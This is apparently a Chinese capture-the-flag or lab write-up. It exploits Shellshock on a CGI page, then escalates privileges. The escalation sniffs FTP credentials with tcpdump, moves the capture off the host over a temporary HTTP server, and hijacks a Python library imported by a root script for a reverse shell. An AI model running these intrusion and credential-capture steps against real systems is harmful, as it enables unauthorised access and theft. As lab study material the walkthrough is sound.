日常靶机

主机开了21,22,80端口,然后用dirb扫一下目录看看

扫出了cgi-bin,接着扫,在cgi-bin目录下扫到了一个underworld目录

访问

显然这个页面的显示是uptime命令的回显结果

这里是一个shellshock的漏洞,直接用MSF的EXP一把梭

拿到shell之后,考虑提权

先用linPEAS脚本跑一下

然后可以找到tcpdumpcap

下载工具pyps

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64\

pspy是一种命令行工具,旨在无需root权限即可监听进程。它使您可以查看其他用户执行的命令,cron作业等。非常适合枚举CTF中的Linux系统。很好地向您的同事展示为什么在命令行中将秘密作为参数传递是一个坏主意。
该工具从procfs扫描中收集信息。放置在文件系统选定部分上的Inotify观察程序将触发这些扫描,以捕获短暂的进程。

ftp协议是明文传输的,如果能抓到ftp的包,那就可以得到账号密码了。那么使用什么工具抓包呢?比较常用的是tcpdump,查看靶机上是否安装了tcpdump,命令:tcpdump --version

tcpdump -i lo -w ftp.pcap

开启临时的HTTP服务

python -m SimpleHTTPServer 9999

在Kali上下载

wget http://192.168.40.160:9999/ftp.pcap

然后wireshark分析一下就有用户名密码了

然后直接ssh登录

刚才使用pspy工具的时候发现,ftpclient.py是以root身份运行的,如果hades用户具有对ftpclient.py脚本的写入权限,那么就可以提权。但是这里没有权限,那么我们考虑来看看hades对那些文件有可写权限

find / -writable -type d 2>/dev/null

发现好东西了

然后考虑对ftpclient.py文件中导入的ftplib模块的源码进行修改

如图,现在监听端口,就可以接到root的反弹shell